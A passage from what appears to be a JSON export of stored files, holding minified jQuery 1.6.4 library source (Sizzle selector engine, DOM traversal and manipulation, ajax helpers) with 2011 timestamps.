f=a.length;c\u003cf;c++)d.push(a[c]);else for(;a[c];c++)d.push(a[c]);return d}}var r,s;c.documentElement.compareDocumentPosition?r=function(a,b){if(a===b){g=!0;return 0}if(!a.compareDocumentPosition||!b.compareDocumentPosition)return a.compareDocumentPosition?-1:1;return a.compareDocumentPosition(b)\u00264?-1:1}:(r=function(a,b){if(a===b){g=!0;return 0}if(a.sourceIndex\u0026\u0026b.sourceIndex)return a.sourceIndex-b.sourceIndex;var c,d,e=[],f=[],h=a.parentNode,i=b.parentNode,j=h;if(h===i)return s(a,b);if(!h)return-1;if(!i)return 1;while(j)e.unshift(j),j=j.parentNode;j=i;while(j)f.unshift(j),j=j.parentNode;c=e.length,d=f.length;for(var k=0;k\u003cc\u0026\u0026k\u003cd;k++)if(e[k]!==f[k])return s(e[k],f[k]);return k===c?s(a,f[k],-1):s(e[k],b,1)},s=function(a,b,c){if(a===b)return c;var d=a.nextSibling;while(d){if(d===b)return-1;d=d.nextSibling}return 1}),k.getText=function(a){var b=\"\",c;for(var d=0;a[d];d++)c=a[d],c.nodeType===3||c.nodeType===4?b+=c.nodeValue:c.nodeType!==8\u0026\u0026(b+=k.getText(c.childNodes));return b},function(){var a=c.createElement(\"div\"),d=\"script\"+(new Date).getTime(),e=c.documentElement;a.innerHTML=\"\u003ca name='\"+d+\"'/\u003e\",e.insertBefore(a,e.firstChild),c.getElementById(d)\u0026\u0026(l.find.ID=function(a,c,d){if(typeof c.getElementById!=\"undefined\"\u0026\u0026!d){var e=c.getElementById(a[1]);return e?e.id===a[1]||typeof e.getAttributeNode!=\"undefined\"\u0026\u0026e.getAttributeNode(\"id\").nodeValue===a[1]?[e]:b:[]}},l.filter.ID=function(a,b){var c=typeof a.getAttributeNode!=\"undefined\"\u0026\u0026a.getAttributeNode(\"id\");return a.nodeType===1\u0026\u0026c\u0026\u0026c.nodeValue===b}),e.removeChild(a),e=a=null}(),function(){var a=c.createElement(\"div\");a.appendChild(c.createComment(\"\")),a.getElementsByTagName(\"*\").length\u003e0\u0026\u0026(l.find.TAG=function(a,b){var c=b.getElementsByTagName(a[1]);if(a[1]===\"*\"){var d=[];for(var e=0;c[e];e++)c[e].nodeType===1\u0026\u0026d.push(c[e]);c=d}return c}),a.innerHTML=\"\u003ca href='#'\u003e\u003c/a\u003e\",a.firstChild\u0026\u0026typeof a.firstChild.getAttribute!=\"undefined\"\u0026\u0026a.firstChild.getAttribute(\"href\")!==\"#\"\u0026\u0026(l.attrHandle.href=function(a){return a.getAttribute(\"href\",2)}),a=null}(),c.querySelectorAll\u0026\u0026function(){var a=k,b=c.createElement(\"div\"),d=\"__sizzle__\";b.innerHTML=\"\u003cp class='TEST'\u003e\u003c/p\u003e\";if(!b.querySelectorAll||b.querySelectorAll(\".TEST\").length!==0){k=function(b,e,f,g){e=e||c;if(!g\u0026\u0026!k.isXML(e)){var h=/^(\\w+$)|^\\.([\\w\\-]+$)|^#([\\w\\-]+$)/.exec(b);if(h\u0026\u0026(e.nodeType===1||e.nodeType===9)){if(h[1])return p(e.getElementsByTagName(b),f);if(h[2]\u0026\u0026l.find.CLASS\u0026\u0026e.getElementsByClassName)return p(e.getElementsByClassName(h[2]),f)}if(e.nodeType===9){if(b===\"body\"\u0026\u0026e.body)return p([e.body],f);if(h\u0026\u0026h[3]){var i=e.getElementById(h[3]);if(!i||!i.parentNode)return p([],f);if(i.id===h[3])return p([i],f)}try{return p(e.querySelectorAll(b),f)}catch(j){}}else if(e.nodeType===1\u0026\u0026e.nodeName.toLowerCase()!==\"object\"){var m=e,n=e.getAttribute(\"id\"),o=n||d,q=e.parentNode,r=/^\\s*[+~]/.test(b);n?o=o.replace(/'/g,\"\\\\$\u0026\"):e.setAttribute(\"id\",o),r\u0026\u0026q\u0026\u0026(e=e.parentNode);try{if(!r||q)return p(e.querySelectorAll(\"[id='\"+o+\"'] \"+b),f)}catch(s){}finally{n||m.removeAttribute(\"id\")}}}return a(b,e,f,g)};for(var e in a)k[e]=a[e];b=null}}(),function(){var a=c.documentElement,b=a.matchesSelector||a.mozMatchesSelector||a.webkitMatchesSelector||a.msMatchesSelector;if(b){var d=!b.call(c.createElement(\"div\"),\"div\"),e=!1;try{b.call(c.documentElement,\"[test!='']:sizzle\")}catch(f){e=!0}k.matchesSelector=function(a,c){c=c.replace(/\\=\\s*([^'\"\\]]*)\\s*\\]/g,\"='$1']\");if(!k.isXML(a))try{if(e||!l.match.PSEUDO.test(c)\u0026\u0026!/!=/.test(c)){var f=b.call(a,c);if(f||!d||a.document\u0026\u0026a.document.nodeType!==11)return f}}catch(g){}return k(c,null,null,[a]).length\u003e0}}}(),function(){var a=c.createElement(\"div\");a.innerHTML=\"\u003cdiv class='test e'\u003e\u003c/div\u003e\u003cdiv class='test'\u003e\u003c/div\u003e\";if(!!a.getElementsByClassName\u0026\u0026a.getElementsByClassName(\"e\").length!==0){a.lastChild.className=\"e\";if(a.getElementsByClassName(\"e\").length===1)return;l.order.splice(1,0,\"CLASS\"),l.find.CLASS=function(a,b,c){if(typeof b.getElementsByClassName!=\"undefined\"\u0026\u0026!c)return b.getElementsByClassName(a[1])},a=null}}(),c.documentElement.contains?k.contains=function(a,b){return a!==b\u0026\u0026(a.contains?a.contains(b):!0)}:c.documentElement.compareDocumentPosition?k.contains=function(a,b){return!!(a.compareDocumentPosition(b)\u002616)}:k.contains=function(){return!1},k.isXML=function(a){var b=(a?a.ownerDocument||a:0).documentElement;return b?b.nodeName!==\"HTML\":!1};var v=function(a,b){var c,d=[],e=\"\",f=b.nodeType?[b]:b;while(c=l.match.PSEUDO.exec(a))e+=c[0],a=a.replace(l.match.PSEUDO,\"\");a=l.relative[a]?a+\"*\":a;for(var g=0,h=f.length;g\u003ch;g++)k(a,f[g],d);return k.filter(e,d)};f.find=k,f.expr=k.selectors,f.expr[\":\"]=f.expr.filters,f.unique=k.uniqueSort,f.text=k.getText,f.isXMLDoc=k.isXML,f.contains=k.contains}();var N=/Until$/,O=/^(?:parents|prevUntil|prevAll)/,P=/,/,Q=/^.[^:#\\[\\.,]*$/,R=Array.prototype.slice,S=f.expr.match.POS,T={children:!0,contents:!0,next:!0,prev:!0};f.fn.extend({find:function(a){var b=this,c,d;if(typeof a!=\"string\")return f(a).filter(function(){for(c=0,d=b.length;c\u003cd;c++)if(f.contains(b[c],this))return!0});var e=this.pushStack(\"\",\"find\",a),g,h,i;for(c=0,d=this.length;c\u003cd;c++){g=e.length,f.find(a,this[c],e);if(c\u003e0)for(h=g;h\u003ce.length;h++)for(i=0;i\u003cg;i++)if(e[i]===e[h]){e.splice(h--,1);break}}return e},has:function(a){var b=f(a);return this.filter(function(){for(var a=0,c=b.length;a\u003cc;a++)if(f.contains(this,b[a]))return!0})},not:function(a){return this.pushStack(V(this,a,!1),\"not\",a)},filter:function(a){return this.pushStack(V(this,a,!0),\"filter\",a)},is:function(a){return!!a\u0026\u0026(typeof a==\"string\"?f.filter(a,this).length\u003e0:this.filter(a).length\u003e0)},closest:function(a,b){var c=[],d,e,g=this[0];if(f.isArray(a)){var h,i,j={},k=1;if(g\u0026\u0026a.length){for(d=0,e=a.length;d\u003ce;d++)i=a[d],j[i]||(j[i]=S.test(i)?f(i,b||this.context):i);while(g\u0026\u0026g.ownerDocument\u0026\u0026g!==b){for(i in j)h=j[i],(h.jquery?h.index(g)\u003e-1:f(g).is(h))\u0026\u0026c.push({selector:i,elem:g,level:k});g=g.parentNode,k++}}return c}var l=S.test(a)||typeof a!=\"string\"?f(a,b||this.context):0;for(d=0,e=this.length;d\u003ce;d++){g=this[d];while(g){if(l?l.index(g)\u003e-1:f.find.matchesSelector(g,a)){c.push(g);break}g=g.parentNode;if(!g||!g.ownerDocument||g===b||g.nodeType===11)break}}c=c.length\u003e1?f.unique(c):c;return this.pushStack(c,\"closest\",a)},index:function(a){if(!a)return this[0]\u0026\u0026this[0].parentNode?this.prevAll().length:-1;if(typeof a==\"string\")return f.inArray(this[0],f(a));return f.inArray(a.jquery?a[0]:a,this)},add:function(a,b){var c=typeof a==\"string\"?f(a,b):f.makeArray(a\u0026\u0026a.nodeType?[a]:a),d=f.merge(this.get(),c);return this.pushStack(U(c[0])||U(d[0])?d:f.unique(d))},andSelf:function(){return this.add(this.prevObject)}}),f.each({parent:function(a){var b=a.parentNode;return b\u0026\u0026b.nodeType!==11?b:null},parents:function(a){return f.dir(a,\"parentNode\")},parentsUntil:function(a,b,c){return f.dir(a,\"parentNode\",c)},next:function(a){return f.nth(a,2,\"nextSibling\")},prev:function(a){return f.nth(a,2,\"previousSibling\")},nextAll:function(a){return f.dir(a,\"nextSibling\")},prevAll:function(a){return f.dir(a,\"previousSibling\")},nextUntil:function(a,b,c){return f.dir(a,\"nextSibling\",c)},prevUntil:function(a,b,c){return f.dir(a,\"previousSibling\",c)},siblings:function(a){return f.sibling(a.parentNode.firstChild,a)},children:function(a){return f.sibling(a.firstChild)},contents:function(a){return f.nodeName(a,\"iframe\")?a.contentDocument||a.contentWindow.document:f.makeArray(a.childNodes)}},function(a,b){f.fn[a]=function(c,d){var e=f.map(this,b,c),g=R.call(arguments);N.test(a)||(d=c),d\u0026\u0026typeof d==\"string\"\u0026\u0026(e=f.filter(d,e)),e=this.length\u003e1\u0026\u0026!T[a]?f.unique(e):e,(this.length\u003e1||P.test(d))\u0026\u0026O.test(a)\u0026\u0026(e=e.reverse());return this.pushStack(e,a,g.join(\",\"))}}),f.extend({filter:function(a,b,c){c\u0026\u0026(a=\":not(\"+a+\")\");return b.length===1?f.find.matchesSelector(b[0],a)?[b[0]]:[]:f.find.matches(a,b)},dir:function(a,c,d){var e=[],g=a[c];while(g\u0026\u0026g.nodeType!==9\u0026\u0026(d===b||g.nodeType!==1||!f(g).is(d)))g.nodeType===1\u0026\u0026e.push(g),g=g[c];return e},nth:function(a,b,c,d){b=b||1;var e=0;for(;a;a=a[c])if(a.nodeType===1\u0026\u0026++e===b)break;return a},sibling:function(a,b){var c=[];for(;a;a=a.nextSibling)a.nodeType===1\u0026\u0026a!==b\u0026\u0026c.push(a);return c}});var W=/ jQuery\\d+=\"(?:\\d+|null)\"/g,X=/^\\s+/,Y=/\u003c(?!area|br|col|embed|hr|img|input|link|meta|param)(([\\w:]+)[^\u003e]*)\\/\u003e/ig,Z=/\u003c([\\w:]+)/,$=/\u003ctbody/i,_=/\u003c|\u0026#?\\w+;/,ba=/\u003c(?:script|object|embed|option|style)/i,bb=/checked\\s*(?:[^=]|=\\s*.checked.)/i,bc=/\\/(java|ecma)script/i,bd=/^\\s*\u003c!(?:\\[CDATA\\[|\\-\\-)/,be={option:[1,\"\u003cselect multiple='multiple'\u003e\",\"\u003c/select\u003e\"],legend:[1,\"\u003cfieldset\u003e\",\"\u003c/fieldset\u003e\"],thead:[1,\"\u003ctable\u003e\",\"\u003c/table\u003e\"],tr:[2,\"\u003ctable\u003e\u003ctbody\u003e\",\"\u003c/tbody\u003e\u003c/table\u003e\"],td:[3,\"\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\",\"\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\"],col:[2,\"\u003ctable\u003e\u003ctbody\u003e\u003c/tbody\u003e\u003ccolgroup\u003e\",\"\u003c/colgroup\u003e\u003c/table\u003e\"],area:[1,\"\u003cmap\u003e\",\"\u003c/map\u003e\"],_default:[0,\"\",\"\"]};be.optgroup=be.option,be.tbody=be.tfoot=be.colgroup=be.caption=be.thead,be.th=be.td,f.support.htmlSerialize||(be._default=[1,\"div\u003cdiv\u003e\",\"\u003c/div\u003e\"]),f.fn.extend({text:function(a){if(f.isFunction(a))return this.each(function(b){var c=f(this);c.text(a.call(this,b,c.text()))});if(typeof a!=\"object\"\u0026\u0026a!==b)return this.empty().append((this[0]\u0026\u0026this[0].ownerDocument||c).createTextNode(a));return f.text(this)},wrapAll:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapAll(a.call(this,b))});if(this[0]){var b=f(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode\u0026\u0026b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild\u0026\u0026a.firstChild.nodeType===1)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapInner(a.call(this,b))});return this.each(function(){var b=f(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){return this.each(function(){f(this).wrapAll(a)})},unwrap:function(){return this.parent().each(function(){f.nodeName(this,\"body\")||f(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1\u0026\u0026this.appendChild(a)})},prepend:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1\u0026\u0026this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]\u0026\u0026this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this)});if(arguments.length){var a=f(arguments[0]);a.push.apply(a,this.toArray());return this.pushStack(a,\"before\",arguments)}},after:function(){if(this[0]\u0026\u0026this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this.nextSibling)});if(arguments.length){var a=this.pushStack(this,\"after\",arguments);a.push.apply(a,f(arguments[0]).toArray());return a}},remove:function(a,b){for(var c=0,d;(d=this[c])!=null;c++)if(!a||f.filter(a,[d]).length)!b\u0026\u0026d.nodeType===1\u0026\u0026(f.cleanData(d.getElementsByTagName(\"*\")),f.cleanData([d])),d.parentNode\u0026\u0026d.parentNode.removeChild(d);return this},empty:function(){for(var a=0,b;(b=this[a])!=null;a++){b.nodeType===1\u0026\u0026f.cleanData(b.getElementsByTagName(\"*\"));while(b.firstChild)b.removeChild(b.firstChild)}return this},clone:function(a,b){a=a==null?!1:a,b=b==null?a:b;return this.map(function(){return f.clone(this,a,b)})},html:function(a){if(a===b)return this[0]\u0026\u0026this[0].nodeType===1?this[0].innerHTML.replace(W,\"\"):null;if(typeof a==\"string\"\u0026\u0026!ba.test(a)\u0026\u0026(f.support.leadingWhitespace||!X.test(a))\u0026\u0026!be[(Z.exec(a)||[\"\",\"\"])[1].toLowerCase()]){a=a.replace(Y,\"\u003c$1\u003e\u003c/$2\u003e\");try{for(var c=0,d=this.length;c\u003cd;c++)this[c].nodeType===1\u0026\u0026(f.cleanData(this[c].getElementsByTagName(\"*\")),this[c].innerHTML=a)}catch(e){this.empty().append(a)}}else f.isFunction(a)?this.each(function(b){var c=f(this);c.html(a.call(this,b,c.html()))}):this.empty().append(a);return this},replaceWith:function(a){if(this[0]\u0026\u0026this[0].parentNode){if(f.isFunction(a))return this.each(function(b){var c=f(this),d=c.html();c.replaceWith(a.call(this,b,d))});typeof a!=\"string\"\u0026\u0026(a=f(a).detach());return this.each(function(){var b=this.nextSibling,c=this.parentNode;f(this).remove(),b?f(b).before(a):f(c).append(a)})}return this.length?this.pushStack(f(f.isFunction(a)?a():a),\"replaceWith\",a):this},detach:function(a){return this.remove(a,!0)},domManip:function(a,c,d){var e,g,h,i,j=a[0],k=[];if(!f.support.checkClone\u0026\u0026arguments.length===3\u0026\u0026typeof j==\"string\"\u0026\u0026bb.test(j))return this.each(function(){f(this).domManip(a,c,d,!0)});if(f.isFunction(j))return this.each(function(e){var g=f(this);a[0]=j.call(this,e,c?g.html():b),g.domManip(a,c,d)});if(this[0]){i=j\u0026\u0026j.parentNode,f.support.parentNode\u0026\u0026i\u0026\u0026i.nodeType===11\u0026\u0026i.childNodes.length===this.length?e={fragment:i}:e=f.buildFragment(a,this,k),h=e.fragment,h.childNodes.length===1?g=h=h.firstChild:g=h.firstChild;if(g){c=c\u0026\u0026f.nodeName(g,\"tr\");for(var l=0,m=this.length,n=m-1;l\u003cm;l++)d.call(c?bf(this[l],g):this[l],e.cacheable||m\u003e1\u0026\u0026l\u003cn?f.clone(h,!0,!0):h)}k.length\u0026\u0026f.each(k,bl)}return this}}),f.buildFragment=function(a,b,d){var e,g,h,i;b\u0026\u0026b[0]\u0026\u0026(i=b[0].ownerDocument||b[0]),i.createDocumentFragment||(i=c),a.length===1\u0026\u0026typeof a[0]==\"string\"\u0026\u0026a[0].length\u003c512\u0026\u0026i===c\u0026\u0026a[0].charAt(0)===\"\u003c\"\u0026\u0026!ba.test(a[0])\u0026\u0026(f.support.checkClone||!bb.test(a[0]))\u0026\u0026(g=!0,h=f.fragments[a[0]],h\u0026\u0026h!==1\u0026\u0026(e=h)),e||(e=i.createDocumentFragment(),f.clean\n(a,i,e,d)),g\u0026\u0026(f.fragments[a[0]]=h?e:1);return{fragment:e,cacheable:g}},f.fragments={},f.each({appendTo:\"append\",prependTo:\"prepend\",insertBefore:\"before\",insertAfter:\"after\",replaceAll:\"replaceWith\"},function(a,b){f.fn[a]=function(c){var d=[],e=f(c),g=this.length===1\u0026\u0026this[","created_at":"2011-09-20T04:03:53.000Z","updated_at":"2011-09-20T04:03:53.000Z"},{"id":1900,"name":"jquery.js","body":"raw\nmime js\n/*! jQuery v1.6.4 http://jquery.com/ | http://jquery.org/license */\n(function(a,b){function cu(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cr(a){if(!cg[a]){var b=c.body,d=f(\"\u003c\"+a+\"\u003e\").appendTo(b),e=d.css(\"display\");d.remove();if(e===\"none\"||e===\"\"){ch||(ch=c.createElement(\"iframe\"),ch.frameBorder=ch.width=ch.height=0),b.appendChild(ch);if(!ci||!ch.createElement)ci=(ch.contentWindow||ch.contentDocument).document,ci.write((c.compatMode===\"CSS1Compat\"?\"\u003c!doctype html\u003e\":\"\")+\"\u003chtml\u003e\u003cbody\u003e\"),ci.close();d=ci.createElement(a),ci.body.appendChild(d),e=f.css(d,\"display\"),b.removeChild(ch)}cg[a]=e}return cg[a]}function cq(a,b){var c={};f.each(cm.concat.apply([],cm.slice(0,b)),function(){c[this]=a});return c}function cp(){cn=b}function co(){setTimeout(cp,0);return cn=f.now()}function cf(){try{return new a.ActiveXObject(\"Microsoft.XMLHTTP\")}catch(b){}}function ce(){try{return new a.XMLHttpRequest}catch(b){}}function b$(a,c){a.dataFilter\u0026\u0026(c=a.dataFilter(c,a.dataType));var d=a.dataTypes,e={},g,h,i=d.length,j,k=d[0],l,m,n,o,p;for(g=1;g\u003ci;g++){if(g===1)for(h in a.converters)typeof h==\"string\"\u0026\u0026(e[h.toLowerCase()]=a.converters[h]);l=k,k=d[g];if(k===\"*\")k=l;else if(l!==\"*\"\u0026\u0026l!==k){m=l+\" \"+k,n=e[m]||e[\"* \"+k];if(!n){p=b;for(o in e){j=o.split(\" \");if(j[0]===l||j[0]===\"*\"){p=e[j[1]+\" \"+k];if(p){o=e[o],o===!0?n=p:p===!0\u0026\u0026(n=o);break}}}}!n\u0026\u0026!p\u0026\u0026f.error(\"No conversion from \"+m.replace(\" \",\" to \")),n!==!0\u0026\u0026(c=n?n(c):p(o(c)))}}return c}function bZ(a,c,d){var e=a.contents,f=a.dataTypes,g=a.responseFields,h,i,j,k;for(i in g)i in d\u0026\u0026(c[g[i]]=d[i]);while(f[0]===\"*\")f.shift(),h===b\u0026\u0026(h=a.mimeType||c.getResponseHeader(\"content-type\"));if(h)for(i in e)if(e[i]\u0026\u0026e[i].test(h)){f.unshift(i);break}if(f[0]in d)j=f[0];else{for(i in d){if(!f[0]||a.converters[i+\" \"+f[0]]){j=i;break}k||(k=i)}j=j||k}if(j){j!==f[0]\u0026\u0026f.unshift(j);return d[j]}}function bY(a,b,c,d){if(f.isArray(b))f.each(b,function(b,e){c||bA.test(a)?d(a,e):bY(a+\"[\"+(typeof e==\"object\"||f.isArray(e)?b:\"\")+\"]\",e,c,d)});else if(!c\u0026\u0026b!=null\u0026\u0026typeof b==\"object\")for(var e in b)bY(a+\"[\"+e+\"]\",b[e],c,d);else d(a,b)}function bX(a,c){var d,e,g=f.ajaxSettings.flatOptions||{};for(d in c)c[d]!==b\u0026\u0026((g[d]?a:e||(e={}))[d]=c[d]);e\u0026\u0026f.extend(!0,a,e)}function bW(a,c,d,e,f,g){f=f||c.dataTypes[0],g=g||{},g[f]=!0;var h=a[f],i=0,j=h?h.length:0,k=a===bP,l;for(;i\u003cj\u0026\u0026(k||!l);i++)l=h[i](c,d,e),typeof l==\"string\"\u0026\u0026(!k||g[l]?l=b:(c.dataTypes.unshift(l),l=bW(a,c,d,e,l,g)));(k||!l)\u0026\u0026!g[\"*\"]\u0026\u0026(l=bW(a,c,d,e,\"*\",g));return l}function bV(a){return function(b,c){typeof b!=\"string\"\u0026\u0026(c=b,b=\"*\");if(f.isFunction(c)){var d=b.toLowerCase().split(bL),e=0,g=d.length,h,i,j;for(;e\u003cg;e++)h=d[e],j=/^\\+/.test(h),j\u0026\u0026(h=h.substr(1)||\"*\"),i=a[h]=a[h]||[],i[j?\"unshift\":\"push\"](c)}}}function by(a,b,c){var d=b===\"width\"?a.offsetWidth:a.offsetHeight,e=b===\"width\"?bt:bu;if(d\u003e0){c!==\"border\"\u0026\u0026f.each(e,function(){c||(d-=parseFloat(f.css(a,\"padding\"+this))||0),c===\"margin\"?d+=parseFloat(f.css(a,c+this))||0:d-=parseFloat(f.css(a,\"border\"+this+\"Width\"))||0});return d+\"px\"}d=bv(a,b,b);if(d\u003c0||d==null)d=a.style[b]||0;d=parseFloat(d)||0,c\u0026\u0026f.each(e,function(){d+=parseFloat(f.css(a,\"padding\"+this))||0,c!==\"padding\"\u0026\u0026(d+=parseFloat(f.css(a,\"border\"+this+\"Width\"))||0),c===\"margin\"\u0026\u0026(d+=parseFloat(f.css(a,c+this))||0)});return d+\"px\"}function bl(a,b){b.src?f.ajax({url:b.src,async:!1,dataType:\"script\"}):f.globalEval((b.text||b.textContent||b.innerHTML||\"\").replace(bd,\"/*$0*/\")),b.parentNode\u0026\u0026b.parentNode.removeChild(b)}function bk(a){f.nodeName(a,\"input\")?bj(a):\"getElementsByTagName\"in a\u0026\u0026f.grep(a.getElementsByTagName(\"input\"),bj)}function bj(a){if(a.type===\"checkbox\"||a.type===\"radio\")a.defaultChecked=a.checked}function bi(a){return\"getElementsByTagName\"in a?a.getElementsByTagName(\"*\"):\"querySelectorAll\"in a?a.querySelectorAll(\"*\"):[]}function bh(a,b){var c;if(b.nodeType===1){b.clearAttributes\u0026\u0026b.clearAttributes(),b.mergeAttributes\u0026\u0026b.mergeAttributes(a),c=b.nodeName.toLowerCase();if(c===\"object\")b.outerHTML=a.outerHTML;else if(c!==\"input\"||a.type!==\"checkbox\"\u0026\u0026a.type!==\"radio\"){if(c===\"option\")b.selected=a.defaultSelected;else if(c===\"input\"||c===\"textarea\")b.defaultValue=a.defaultValue}else a.checked\u0026\u0026(b.defaultChecked=b.checked=a.checked),b.value!==a.value\u0026\u0026(b.value=a.value);b.removeAttribute(f.expando)}}function bg(a,b){if(b.nodeType===1\u0026\u0026!!f.hasData(a)){var c=f.expando,d=f.data(a),e=f.data(b,d);if(d=d[c]){var g=d.events;e=e[c]=f.extend({},d);if(g){delete e.handle,e.events={};for(var h in g)for(var i=0,j=g[h].length;i\u003cj;i++)f.event.add(b,h+(g[h][i].namespace?\".\":\"\")+g[h][i].namespace,g[h][i],g[h][i].data)}}}}function bf(a,b){return f.nodeName(a,\"table\")?a.getElementsByTagName(\"tbody\")[0]||a.appendChild(a.ownerDocument.createElement(\"tbody\")):a}function V(a,b,c){b=b||0;if(f.isFunction(b))return f.grep(a,function(a,d){var e=!!b.call(a,d,a);return e===c});if(b.nodeType)return f.grep(a,function(a,d){return a===b===c});if(typeof b==\"string\"){var d=f.grep(a,function(a){return a.nodeType===1});if(Q.test(b))return f.filter(b,d,!c);b=f.filter(b,d)}return f.grep(a,function(a,d){return f.inArray(a,b)\u003e=0===c})}function U(a){return!a||!a.parentNode||a.parentNode.nodeType===11}function M(a,b){return(a\u0026\u0026a!==\"*\"?a+\".\":\"\")+b.replace(y,\"`\").replace(z,\"\u0026\")}function L(a){var b,c,d,e,g,h,i,j,k,l,m,n,o,p=[],q=[],r=f._data(this,\"events\");if(!(a.liveFired===this||!r||!r.live||a.target.disabled||a.button\u0026\u0026a.type===\"click\")){a.namespace\u0026\u0026(n=new RegExp(\"(^|\\\\.)\"+a.namespace.split(\".\").join(\"\\\\.(?:.*\\\\.)?\")+\"(\\\\.|$)\")),a.liveFired=this;var s=r.live.slice(0);for(i=0;i\u003cs.length;i++)g=s[i],g.origType.replace(w,\"\")===a.type?q.push(g.selector):s.splice(i--,1);e=f(a.target).closest(q,a.currentTarget);for(j=0,k=e.length;j\u003ck;j++){m=e[j];for(i=0;i\u003cs.length;i++){g=s[i];if(m.selector===g.selector\u0026\u0026(!n||n.test(g.namespace))\u0026\u0026!m.elem.disabled){h=m.elem,d=null;if(g.preType===\"mouseenter\"||g.preType===\"mouseleave\")a.type=g.preType,d=f(a.relatedTarget).closest(g.selector)[0],d\u0026\u0026f.contains(h,d)\u0026\u0026(d=h);(!d||d!==h)\u0026\u0026p.push({elem:h,handleObj:g,level:m.level})}}}for(j=0,k=p.length;j\u003ck;j++){e=p[j];if(c\u0026\u0026e.level\u003ec)break;a.currentTarget=e.elem,a.data=e.handleObj.data,a.handleObj=e.handleObj,o=e.handleObj.origHandler.apply(e.elem,arguments);if(o===!1||a.isPropagationStopped()){c=e.level,o===!1\u0026\u0026(b=!1);if(a.isImmediatePropagationStopped())break}}return b}}function J(a,c,d){var e=f.extend({},d[0]);e.type=a,e.originalEvent={},e.liveFired=b,f.event.handle.call(c,e),e.isDefaultPrevented()\u0026\u0026d[0].preventDefault()}function D(){return!0}function C(){return!1}function m(a,c,d){var e=c+\"defer\",g=c+\"queue\",h=c+\"mark\",i=f.data(a,e,b,!0);i\u0026\u0026(d===\"queue\"||!f.data(a,g,b,!0))\u0026\u0026(d===\"mark\"||!f.data(a,h,b,!0))\u0026\u0026setTimeout(function(){!f.data(a,g,b,!0)\u0026\u0026!f.data(a,h,b,!0)\u0026\u0026(f.removeData(a,e,!0),i.resolve())},0)}function l(a){for(var b in a)if(b!==\"toJSON\")return!1;return!0}function k(a,c,d){if(d===b\u0026\u0026a.nodeType===1){var e=\"data-\"+c.replace(j,\"-$1\").toLowerCase();d=a.getAttribute(e);if(typeof d==\"string\"){try{d=d===\"true\"?!0:d===\"false\"?!1:d===\"null\"?null:f.isNaN(d)?i.test(d)?f.parseJSON(d):d:parseFloat(d)}catch(g){}f.data(a,c,d)}else d=b}return d}var c=a.document,d=a.navigator,e=a.location,f=function(){function K(){if(!e.isReady){try{c.documentElement.doScroll(\"left\")}catch(a){setTimeout(K,1);return}e.ready()}}var e=function(a,b){return new e.fn.init(a,b,h)},f=a.jQuery,g=a.$,h,i=/^(?:[^#\u003c]*(\u003c[\\w\\W]+\u003e)[^\u003e]*$|#([\\w\\-]*)$)/,j=/\\S/,k=/^\\s+/,l=/\\s+$/,m=/\\d/,n=/^\u003c(\\w+)\\s*\\/?\u003e(?:\u003c\\/\\1\u003e)?$/,o=/^[\\],:{}\\s]*$/,p=/\\\\(?:[\"\\\\\\/bfnrt]|u[0-9a-fA-F]{4})/g,q=/\"[^\"\\\\\\n\\r]*\"|true|false|null|-?\\d+(?:\\.\\d*)?(?:[eE][+\\-]?\\d+)?/g,r=/(?:^|:|,)(?:\\s*\\[)+/g,s=/(webkit)[ \\/]([\\w.]+)/,t=/(opera)(?:.*version)?[ \\/]([\\w.]+)/,u=/(msie) ([\\w.]+)/,v=/(mozilla)(?:.*? rv:([\\w.]+))?/,w=/-([a-z]|[0-9])/ig,x=/^-ms-/,y=function(a,b){return(b+\"\").toUpperCase()},z=d.userAgent,A,B,C,D=Object.prototype.toString,E=Object.prototype.hasOwnProperty,F=Array.prototype.push,G=Array.prototype.slice,H=String.prototype.trim,I=Array.prototype.indexOf,J={};e.fn=e.prototype={constructor:e,init:function(a,d,f){var g,h,j,k;if(!a)return this;if(a.nodeType){this.context=this[0]=a,this.length=1;return this}if(a===\"body\"\u0026\u0026!d\u0026\u0026c.body){this.context=c,this[0]=c.body,this.selector=a,this.length=1;return this}if(typeof a==\"string\"){a.charAt(0)!==\"\u003c\"||a.charAt(a.length-1)!==\"\u003e\"||a.length\u003c3?g=i.exec(a):g=[null,a,null];if(g\u0026\u0026(g[1]||!d)){if(g[1]){d=d instanceof e?d[0]:d,k=d?d.ownerDocument||d:c,j=n.exec(a),j?e.isPlainObject(d)?(a=[c.createElement(j[1])],e.fn.attr.call(a,d,!0)):a=[k.createElement(j[1])]:(j=e.buildFragment([g[1]],[k]),a=(j.cacheable?e.clone(j.fragment):j.fragment).childNodes);return e.merge(this,a)}h=c.getElementById(g[2]);if(h\u0026\u0026h.parentNode){if(h.id!==g[2])return f.find(a);this.length=1,this[0]=h}this.context=c,this.selector=a;return this}return!d||d.jquery?(d||f).find(a):this.constructor(d).find(a)}if(e.isFunction(a))return f.ready(a);a.selector!==b\u0026\u0026(this.selector=a.selector,this.context=a.context);return e.makeArray(a,this)},selector:\"\",jquery:\"1.6.4\",length:0,size:function(){return this.length},toArray:function(){return G.call(this,0)},get:function(a){return a==null?this.toArray():a\u003c0?this[this.length+a]:this[a]},pushStack:function(a,b,c){var d=this.constructor();e.isArray(a)?F.apply(d,a):e.merge(d,a),d.prevObject=this,d.context=this.context,b===\"find\"?d.selector=this.selector+(this.selector?\" \":\"\")+c:b\u0026\u0026(d.selector=this.selector+\".\"+b+\"(\"+c+\")\");return d},each:function(a,b){return e.each(this,a,b)},ready:function(a){e.bindReady(),B.done(a);return this},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(G.apply(this,arguments),\"slice\",G.call(arguments).join(\",\"))},map:function(a){return this.pushStack(e.map(this,function(b,c){return 